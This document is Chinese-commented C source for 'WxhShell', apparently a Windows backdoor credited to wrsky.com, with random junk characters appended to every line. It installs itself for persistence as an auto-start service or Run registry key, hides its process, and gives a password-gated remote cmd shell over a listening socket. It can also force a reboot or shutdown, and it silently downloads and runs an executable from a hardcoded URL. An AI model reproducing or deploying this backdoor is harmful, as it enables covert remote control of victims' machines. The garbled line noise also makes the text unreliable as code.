    if(Boot(SHUTDOWN)) 'z/hj>B<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XlPy(>  
    else { \&0NH=*^  
    closesocket(wsh); >{Djx  
    ExitThread(0); ^gImb`<6-  
    } Sb.;$Be5g  
    break; VXp X#O  
    } Vv]mME@  
  // 获取shell wW~2]*n  
  case 's': { yFjSvm6  
    CmdShell(wsh); r>\.b{wI  
    closesocket(wsh); A[MEtI=Q J  
    ExitThread(0); |EunDb[Y  
    break; }dCnFZ{K3  
  } '1<QK  
  // 退出 }J1#UH_E  
  case 'x': { Tec6]  :  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T28#?Lp6]  
    CloseIt(wsh); 4j5plm=  
    break; D@e:Fu1\R  
    } KC'{>rt7  
  // 离开 ND*5pRzvp  
  case 'q': { %0QYkHdFR`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); " PPwJ/L(  
    closesocket(wsh); 2cL<`  
    WSACleanup(); \Uiw: ,  
    exit(1); +FI]0r  
    break; t"Rn#V\c."  
        } (#~063N,#  
  } +}]xuYzo  
  } hdzaU&w  
p6p_B   
  // 提示信息 hI$an%Y(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A]1](VQ)4  
} o'G")o  
  } <pCZ+Yv E"  
3f0RMk$pH  
  return; 3 }XS| Y  
} t V</ x0#  
}I"^WCyH  
// shell模块句柄 (Q&Z/Fe  
int CmdShell(SOCKET sock) C'Q} Z_  
{ NR" Xn7G  
STARTUPINFO si; hz!.|U@,{<  
ZeroMemory(&si,sizeof(si)); {dDU^7O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q =Z-vTD+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G"]'`2.m  
PROCESS_INFORMATION ProcessInfo; *=rl<?tX  
char cmdline[]="cmd"; @L0.Z1 ).  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sqhM[u k  
  return 0; }QK-@T@4<  
} o 0B`~7(  
gO29:L[t  
// 自身启动模式 /1YqDK0  
int StartFromService(void) w5p+Yx=q  
{ UWz<~Vy  
typedef struct F{v+z8nW  
{ NeYj[Q~xy  
  DWORD ExitStatus; 8WMC ~  
  DWORD PebBaseAddress; #~"jo[  
  DWORD AffinityMask; iVE+c"c!2&  
  DWORD BasePriority; %j yLRT]H  
  ULONG UniqueProcessId; R b'"09)$  
  ULONG InheritedFromUniqueProcessId; se&:Y&vrc~  
}   PROCESS_BASIC_INFORMATION; c8h 9  
/)N[tv2  
PROCNTQSIP NtQueryInformationProcess; }0:=)e  
!^w+<p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `3~w#?+=*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |2Q;SaI^\  
uTQ/_$  
  HANDLE             hProcess; z' @F@k6  
  PROCESS_BASIC_INFORMATION pbi; ~e|~c<!z8@  
|#k1a:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Fi/!  
  if(NULL == hInst ) return 0; ZDlMkHJ  
m6s32??m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); krgsmDi7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _15r!RZ:1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }JS?42CTaV  
xRb-m$B}L  
  if (!NtQueryInformationProcess) return 0; E=7~\7TE  
<S<(wFE@4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @#nB]qV:e  
  if(!hProcess) return 0; h/d&P  
uCx\Bt"VI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o}<}zTU  
S>nM&758  
  CloseHandle(hProcess); -Y D6  
7 yK >  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5E$)Ip  
if(hProcess==NULL) return 0; L0}"H .  
#,Rmu  
HMODULE hMod; w _n)*he)z  
char procName[255]; ip~PF5  
unsigned long cbNeeded; ^b'[ 81%  
A>Js`s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K*>lq|i u  
6tVB}UKs  
  CloseHandle(hProcess); uGOvZO^v  
]w({5i  
if(strstr(procName,"services")) return 1; // 以服务启动 Y<l{DmrsA  
|iJ37QIM  
  return 0; // 注册表启动 v*kTTaU&  
} VHJOj  
F]x o*  
// 主模块 V#zDYrp  
int StartWxhshell(LPSTR lpCmdLine) ht ` !@B  
{ M(xd:Fa?  
  SOCKET wsl; ;a2TONW   
BOOL val=TRUE; 42mdak}\  
  int port=0; C*=#=.~~{  
  struct sockaddr_in door; p "u5wJ_  
Ji gc@@B.  
  if(wscfg.ws_autoins) Install(); .M!HVq47m  
d n3sh<  
port=atoi(lpCmdLine); R["_Mff  
^8-CUH\  
if(port<=0) port=wscfg.ws_port; s-[_%  
xDm^f^}>  
  WSADATA data; =JY9K0S~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wj /OYnMw  
}sZme3*J[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y]yp8Bs+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x pT85D  
  door.sin_family = AF_INET; #)z_TM07P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pPUKx =d  
  door.sin_port = htons(port); 'Tj9btM*cL  
&^9 2z:?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZBi|B D  
closesocket(wsl); q<dZy? f  
return 1; x xWnB  
} a2/!~X9F  
g^/  
  if(listen(wsl,2) == INVALID_SOCKET) { 3+rud9T  
closesocket(wsl); adRvAq]mA  
return 1; ]25 xX  
} <J!#k@LY]7  
  Wxhshell(wsl); "CX&2Xfe  
  WSACleanup(); *%bQp  
A70x+mjy^T  
return 0; =y.?=`"  
%i:Sf  
} rjHL06qE  
eKsc ["  
// 以NT服务方式启动 PQDW Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 fX  
{ '#L.w6<B  
DWORD   status = 0; .IXkdy  
  DWORD   specificError = 0xfffffff; |]y]K%  
v!JQ;OX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bdEc ?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8bd&XieE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $9)|cO  
  serviceStatus.dwWin32ExitCode     = 0; v2][gn+58  
  serviceStatus.dwServiceSpecificExitCode = 0; WW\t<O;z  
  serviceStatus.dwCheckPoint       = 0; k` cz$>  
  serviceStatus.dwWaitHint       = 0; :+: vBrJm  
;Sl]8IZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [oqb@J2  
  if (hServiceStatusHandle==0) return; l.NV]up +  
lu2"?y[2  
status = GetLastError(); <?zn k8|  
  if (status!=NO_ERROR) {N!Xp:(<7_  
{ e:#c\Ay+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lky{<jZ%  
    serviceStatus.dwCheckPoint       = 0; K =nW|^  
    serviceStatus.dwWaitHint       = 0; ziPE(B  
    serviceStatus.dwWin32ExitCode     = status; J0K25w  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ W[LA<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&+m5x S  
    return; sTv;Ogs.  
  } *c9/ I  
ruiAEC<Ej  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pu3ly&T#a_  
  serviceStatus.dwCheckPoint       = 0; 0<(F 8  
  serviceStatus.dwWaitHint       = 0; p}I ,!~}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d)d\h`=Z  
} {kVhht]X  
V}_M\Y^^;  
// 处理NT服务事件,比如:启动、停止 \-i5b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vy&q7EX<i  
{ a$-:F$z  
switch(fdwControl) ;c};N(2  
{ zI1-l9 o  
case SERVICE_CONTROL_STOP: rRgP/E#_  
  serviceStatus.dwWin32ExitCode = 0; ksb.]P d.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *c<0cHv*  
  serviceStatus.dwCheckPoint   = 0; *PEk+e  
  serviceStatus.dwWaitHint     = 0; 8Evon&G59  
  { 4K{<R!2I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1HPYW7jk@"  
  } 6'E3Q=}d  
  return; Teo&V  
case SERVICE_CONTROL_PAUSE: (^,4{;YQ5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OZ2YflT  
  break; NWx.l8G  
case SERVICE_CONTROL_CONTINUE: ;]/>n:[ E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g<d#zzP"T  
  break; A|Z'\D0  
case SERVICE_CONTROL_INTERROGATE: o$ disJ  
  break; CI%4!K;{  
}; TX/Ng+v S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n_ORD@$]  
} p{c+ +P5  
N!RkV\:X  
// 标准应用程序主函数 U5_1-wV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eksYIQZ]  
{ &\[3m^L  
=XbOY[  
// 获取操作系统版本 PH$fDbC8  
OsIsNt=GetOsVer(); YI0ubB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3"9'MDKH  
GP|G[  
  // 从命令行安装 p:g`K# [F  
  if(strpbrk(lpCmdLine,"iI")) Install(); $;@L PE  
+T\c<lJ9  
  // 下载执行文件 X%1j-;Wr@  
if(wscfg.ws_downexe) { Y5rR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X"'c2gaa_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8}5dyn{cvE  
} O:K={#Xj  
`VJJ"v<L  
if(!OsIsNt) { R> r@[$z+  
// 如果时win9x,隐藏进程并且设置为注册表启动 _@-D/g  
HideProc(); pzL !42  
StartWxhshell(lpCmdLine); IG}`~% Z  
} iobL6SUZ  
else 0H<&*U_V  
  if(StartFromService()) qQz f&"  
  // 以服务方式启动 +aa( YGL  
  StartServiceCtrlDispatcher(DispatchTable); {Vg8pt  
else gtizgUS7  
  // 普通方式启动 MGoYL \  
  StartWxhshell(lpCmdLine); E Ux kYl  
4O~E4" ]  
return 0; Av3qoH)[<  
} $%*E)~  
e~Hx+Qp.G  
'1o1=iJN@$  
e@B+\1  
=========================================== \=kre+g  
6L`{oSX!  
Q $wa<`  
_!m_s5{  
N9lCbtn(0x  
j9sK P]w  
" N001c)*7Q  
IO, kGUS  
#include <stdio.h> i Eh -  
#include <string.h> aqa%B  
#include <windows.h> T!GX^nn*O  
#include <winsock2.h> Z33&FUU  
#include <winsvc.h> 1O<Gg<<,e  
#include <urlmon.h> 5)%bnLxn  
UD 0v ia  
#pragma comment (lib, "Ws2_32.lib") WGxe3(d  
#pragma comment (lib, "urlmon.lib") hX?rIx  
( Lp~:p  
#define MAX_USER   100 // 最大客户端连接数 -]!m4xvK  
#define BUF_SOCK   200 // sock buffer v7;zce/~  
#define KEY_BUFF   255 // 输入 buffer H*SEzVb  
rkp 1tv  
#define REBOOT     0   // 重启 ?52{s"N0>  
#define SHUTDOWN   1   // 关机 'eKvt5&@  
N{lj"C]L  
#define DEF_PORT   5000 // 监听端口 /hC[>t<  
st8=1}:&\  
#define REG_LEN     16   // 注册表键长度 [P'crV,m  
#define SVC_LEN     80   // NT服务名长度 cy R K&J  
32DSZ0  
// 从dll定义API F4=+xd >0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); < C{-ph  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MT`gCvoF4P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cd>GY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x2 s%qZ#  
s|/m}n  
// wxhshell配置信息 sk0N=5SB-  
struct WSCFG { a{?`yO/ 2  
  int ws_port;         // 监听端口 _.Ey_K_1  
  char ws_passstr[REG_LEN]; // 口令 =U:9A=uEvS  
  int ws_autoins;       // 安装标记, 1=yes 0=no i0,'b61qE  
  char ws_regname[REG_LEN]; // 注册表键名 lu]Z2xSv  
  char ws_svcname[REG_LEN]; // 服务名 }Pu|%\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1pT v6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &) '5_#S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yQ^k%hHa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6mFH>T*jzH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bu;3Ib3\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XDtr{r6z  
D][e uB  
}; uxbDRlOS  
|*~=w J_  
// default Wxhshell configuration ! OM P]  
struct WSCFG wscfg={DEF_PORT, kG =nDy  
    "xuhuanlingzhe", -uho;  
    1, kh11Y1Q0d  
    "Wxhshell", w|~d3]BqT  
    "Wxhshell", a6UW,n"n  
            "WxhShell Service", w"-'  
    "Wrsky Windows CmdShell Service", q\PHA  
    "Please Input Your Password: ", Qv3g 4iJ  
  1, R.(cGZS  
  "http://www.wrsky.com/wxhshell.exe", *b{C`[ =V  
  "Wxhshell.exe" q>$[<TsE&}  
    }; bzz{ p1e  
^8_`IT  
// 消息定义模块 ) h*)_7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (6jr}kP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; auV'`PR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kp_L\'.I5$  
char *msg_ws_ext="\n\rExit."; 1P"akc  
char *msg_ws_end="\n\rQuit."; `(SWE+m1g  
char *msg_ws_boot="\n\rReboot..."; LGxQ>f[V  
char *msg_ws_poff="\n\rShutdown..."; ?DAW~+,!7o  
char *msg_ws_down="\n\rSave to "; P'4oI0Bw  
jU4*fzsZI  
char *msg_ws_err="\n\rErr!"; o6@Hj+,,  
char *msg_ws_ok="\n\rOK!"; kR C0iTV'I  
n+5X*~D  
char ExeFile[MAX_PATH]; :z;}:+7n  
int nUser = 0; k\:f2%!!  
HANDLE handles[MAX_USER]; 1|4'3^3  
int OsIsNt; |]qwD,eiH,  
1[QH68  
SERVICE_STATUS       serviceStatus; u )'l|Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P #_8$#G3  
B3p[A k  
// 函数声明 Tk9/1C{8  
int Install(void); M4;A4V=W  
int Uninstall(void); ^7l.!s#$b  
int DownloadFile(char *sURL, SOCKET wsh); In-W,   
int Boot(int flag); V;b^b5yZ>  
void HideProc(void); _g%Wx?K9  
int GetOsVer(void); T>"GH M  
int Wxhshell(SOCKET wsl); m?Gb5=qo  
void TalkWithClient(void *cs); A+JM* eB  
int CmdShell(SOCKET sock); p[Z'Fl  
int StartFromService(void); QlbhQkn  
int StartWxhshell(LPSTR lpCmdLine); DYvi1X6  
8"C;I=]8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J- %YmUc)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GJ>vL  
*{5L*\AZ  
// 数据结构和表定义 X%+FM]  
SERVICE_TABLE_ENTRY DispatchTable[] = $,vZX u|Qw  
{ -0KQR{LI  
{wscfg.ws_svcname, NTServiceMain}, *fBI),bZa  
{NULL, NULL} uUAib<wdPL  
}; F",S}cK*MH  
<h_lc}o/  
// 自我安装 ;pU#3e+P8  
int Install(void) ~YxLDo'.t  
{ ]rEFWA  
  char svExeFile[MAX_PATH]; gE,i Cx  
  HKEY key; )N{Qpbh  
  strcpy(svExeFile,ExeFile); <{C oM  
:!vDX2o)\  
// 如果是win9x系统,修改注册表设为自启动 X X>Y]P a  
if(!OsIsNt) { E6);\SJG}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RvL-SI%E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dAOmqu, 6  
  RegCloseKey(key); bSW!2#~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8G?{S.%.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TQx''$j\  
  RegCloseKey(key); {u BpM9KT  
  return 0; 7)S ;VG k  
    } U=<E,tM  
  } MC5M><5\  
} / jI>=:z  
else { *iSsGb\M%  
"%+C@>`(  
// 如果是NT以上系统,安装为系统服务 H79|%@F"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =1o_:VOG  
if (schSCManager!=0) )t G`a ;  
{ =,D3e+P'  
  SC_HANDLE schService = CreateService (h0i2>K  
  ( 8aw'Q?  
  schSCManager, JGaS`fKSk  
  wscfg.ws_svcname, Sr_]R<?  
  wscfg.ws_svcdisp, y8U|A0@$`  
  SERVICE_ALL_ACCESS, *Z7W'-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , thk33ss:  
  SERVICE_AUTO_START, CtbmX)vE  
  SERVICE_ERROR_NORMAL, ;9,<&fe  
  svExeFile, ;0V{^  
  NULL, f\ oB/  
  NULL, GgH=w`;_  
  NULL, ]Mv.Rul?~  
  NULL, w < p  
  NULL &6/# O  
  ); xz dqE  
  if (schService!=0) iMnp `:*  
  { GXC:~$N  
  CloseServiceHandle(schService); zJ42%0g  
  CloseServiceHandle(schSCManager); 7Rr(YoWa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C& 0iWY\a  
  strcat(svExeFile,wscfg.ws_svcname); /nEh,<Y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E K ks8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [wAI;=.  
  RegCloseKey(key); ,HXY|fYr  
  return 0; TY"=8}X1  
    } 4LYeacL B  
  } wU_e/+0h  
  CloseServiceHandle(schSCManager); Q7`}4c)  
} Qcu1&t\C  
} Xj.Tg1^K"  
hV_eb6aj}P  
return 1; ,.u7([SGm  
} s OD>mc#%Y  
_yT Gv-  
// 自我卸载 ' }rUbJo  
int Uninstall(void) b_*Y5"(*  
{ e:IUO1#  
  HKEY key; =!_e(J  
6\(wU?m'/  
if(!OsIsNt) { %s~MfK.k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [3++Q-rR=  
  RegDeleteValue(key,wscfg.ws_regname); ZK))91;v  
  RegCloseKey(key); yG'5up  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ip]-OVg  
  RegDeleteValue(key,wscfg.ws_regname); 8>G3KZ3  
  RegCloseKey(key); bH+p5Fd;  
  return 0; AW@ I,  
  } W?8 |h  
} HK>!%t0S  
} w">XI)*z  
else { <5MnF  
^w4FqdGM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xZt]s3?  
if (schSCManager!=0) tWVbD%u^  
{ <Yfk7Un  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XA} !  
  if (schService!=0) ']1j M n  
  { )'(7E$d  
  if(DeleteService(schService)!=0) { gQf'|%)AJ  
  CloseServiceHandle(schService); hA6!F#1  
  CloseServiceHandle(schSCManager); uJ,>Y# ?  
  return 0; zzi%r=%r&  
  } j,QeL  
  CloseServiceHandle(schService); F!jYkDY  
  } PgAC3%M6  
  CloseServiceHandle(schSCManager); YC4S,fY`  
} tUl#sqN_{  
} F*rU=cu  
$O,$KAC  
return 1; 2SEfEkk  
} <jXXj[M2  
# )-Kf  
// 从指定url下载文件 zghUwW|K  
int DownloadFile(char *sURL, SOCKET wsh) aoQK.7  
{ m\|I.BUG  
  HRESULT hr; EY;C5P4  
char seps[]= "/"; yWsV !Ub  
char *token; |Vc8W0~0  
char *file; PiXegh WH  
char myURL[MAX_PATH]; kL,bM.;  
char myFILE[MAX_PATH]; |XOD~Plo^  
cP63q|[[  
strcpy(myURL,sURL); NK]X="`  
  token=strtok(myURL,seps); aH'Sz'|E  
  while(token!=NULL) E[HXbj"  
  { TTpK8cC  
    file=token; #4_'%~-e  
  token=strtok(NULL,seps); zb Z0BD7e  
  } \D>vdn"Lx  
]N}80*Rl  
GetCurrentDirectory(MAX_PATH,myFILE); g@hg u   
strcat(myFILE, "\\"); Az[Yvu'<  
strcat(myFILE, file); !vHUe*1a{  
  send(wsh,myFILE,strlen(myFILE),0); ?e9Acc`G5  
send(wsh,"...",3,0); 1 *'SP6g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vtG_ A{l  
  if(hr==S_OK)  )]L:OE  
return 0; IZBU<1M  
else p't>'?UH|  
return 1; l'HrU 1_7Y  
gJ cf~@s  
} }5-^:}gL   
jSp4eq  
// 系统电源模块 2/O/h  
int Boot(int flag) o:jLM7$=  
{ i>i@r ;:|  
  HANDLE hToken; azKbGS/X  
  TOKEN_PRIVILEGES tkp; k !Nl#.j  
:VC#\/f  
  if(OsIsNt) { poj@ G{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &yN@(P)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v??}d   
    tkp.PrivilegeCount = 1; 7k}[x|u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _3DRCNvh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z?|\0GR+`5  
if(flag==REBOOT) { rr>*_67-:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1a 4 [w  
  return 0; ),y{.n:wm  
} SD paW6(_  
else { _]H$rf,Rc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _P.+[RS@  
  return 0; p*E_Po  
} ) D:M_T2  
  } S83wAr9T  
  else { ;g$s`l/ 4  
if(flag==REBOOT) { thcj_BZ8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YpMQY-n  
  return 0; &NiDv   
} Q]Q]kj2  
else { VqV6)6   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '>-  C!\t  
  return 0; ]+x;tP o  
} ^XEX"E  
} J(F]?H  
?3jOE4~aHr  
return 1; }@Lbv aa  
} vUh.ev0  
k]W~_  
// win9x进程隐藏模块 kb{h`  
void HideProc(void) 67Rsd2   
{ % FW__SN$c  
2 >G"A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ycB>gd  
  if ( hKernel != NULL ) [ah%>&u  
  { A$ v Cm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I_N(e|s\U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fvccut;K  
    FreeLibrary(hKernel); 7JNhCOBB  
  } W#!![JDc  
-I4-K%%B`  
return; 'eg?W_zu  
} &g;4;)p*8  
+ou5cQ^  
// 获取操作系统版本 G m40u/  
int GetOsVer(void) Vvu+gP'z.  
{ A7SBm`XJ)p  
  OSVERSIONINFO winfo; 1V(tt{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; =.VKW%U  
  GetVersionEx(&winfo); E&r*[;$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {FyGh */  
  return 1; nsk`nck  
  else Tx"}]AyB6  
  return 0; <Okk;rj2  
} <_&tP=h  
Zo  
// 客户端句柄模块 _=@9XvNM  
int Wxhshell(SOCKET wsl) $$8xdv#  
{ 4SSq5Ve<  
  SOCKET wsh; (r,tU(  
  struct sockaddr_in client; d4<Ic#  
  DWORD myID; uV?[eiezD0  
)>08{7  
  while(nUser<MAX_USER) sXxF5&AF0  
{ OO5k _J  
  int nSize=sizeof(client); @*jd.a`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `~Nd4EA)2  
  if(wsh==INVALID_SOCKET) return 1; =;Gy"F1 dp  
"pTyQT9P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Wd?U[[  
if(handles[nUser]==0) 9NvV{WI-1  
  closesocket(wsh); 4jEPh{q  
else j&)"a,f  
  nUser++; J/Ki]T9  
  } d54(6N%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4h wUH  
0kP, Zj<  
  return 0; &qqS'G*  
} Uv'.]#H<  
Rg~ ~[6G>  
// 关闭 socket *l:5FT p  
void CloseIt(SOCKET wsh) %m r  
{ sxcpWSGA^  
closesocket(wsh); k6-.XW  
nUser--; }l{r9ti  
ExitThread(0); $FUWB6M  
} Z{nJ\`  
~L j[xP  
// 客户端请求句柄 A7@5lHMF  
void TalkWithClient(void *cs) FRpTYLA2  
{ hp?hb-4l  
;i|V++$_  
  SOCKET wsh=(SOCKET)cs; 6Ouy%]0$I3  
  char pwd[SVC_LEN]; ._JM3o}F  
  char cmd[KEY_BUFF]; ZZqImB.Cz6  
char chr[1]; D(6d#c  
int i,j; ]l.y/pRP5[  
:=x-b3U  
  while (nUser < MAX_USER) { n)$T zND  
) 9h5a+Z  
if(wscfg.ws_passstr) { ':6!f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gHc0n0ZV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '#d`K.;_b.  
  //ZeroMemory(pwd,KEY_BUFF); .r!:` 6  
      i=0; WMfu5x7e4  
  while(i<SVC_LEN) { /=co/}i  
:{NvBxc[  
  // 设置超时 t. B %7e  
  fd_set FdRead; +M th+qgw  
  struct timeval TimeOut; \P% E1c#  
  FD_ZERO(&FdRead); 7@"J&><w!  
  FD_SET(wsh,&FdRead); !l1UpJp  
  TimeOut.tv_sec=8; `oH=O6  
  TimeOut.tv_usec=0; Qm86!(eZ-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F/;uN5{o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & %4x  
sp*_;h3'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Et{4*+A  
  pwd=chr[0]; D hy  
  if(chr[0]==0xd || chr[0]==0xa) { 3gZ|^h6 +  
  pwd=0; |4NH}XVYJ>  
  break; R /J@XP  
  } F.ml]k&(m  
  i++; tEP~`$9  
    } & xOEp  
GQ~wx1jj1  
  // 如果是非法用户,关闭 socket $OU,| D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ru8k2d$B  
} @KRr$k  
.T0w2Dv/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >-fOkOWXy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vL~nJv  
R<aF;Rvb5  
while(1) { ]H8,}  
Nb/W+& y  
  ZeroMemory(cmd,KEY_BUFF); f,{O%*PUA  
m3zmyw}  
      // 自动支持客户端 telnet标准   CC,_I>t  
  j=0; :^".cs?g  
  while(j<KEY_BUFF) { IfF@$eO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *|S.[i_7  
  cmd[j]=chr[0]; ^6Y4=  
  if(chr[0]==0xa || chr[0]==0xd) { K~Lh'6  
  cmd[j]=0; #hPa:I$Oc  
  break; (bnyT?p%  
  } Z}74% 9qE  
  j++; )`5k fj  
    } YSi[s*.G  
YB{hQ<W  
  // 下载文件  a~>.  
  if(strstr(cmd,"http://")) { 3B|?{U~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .|x\6 jf  
  if(DownloadFile(cmd,wsh)) )i@j``P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F&? &8.  
  else =8BMCedH|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wWV`k  
  } Q _Yl:c  
  else { ge*(w{|x  
+RLHe]9&  
    switch(cmd[0]) { r9[{0y!4  
  (dZu&  
  // 帮助 RK%N:!f q=  
  case '?': { }c/p+Wo  
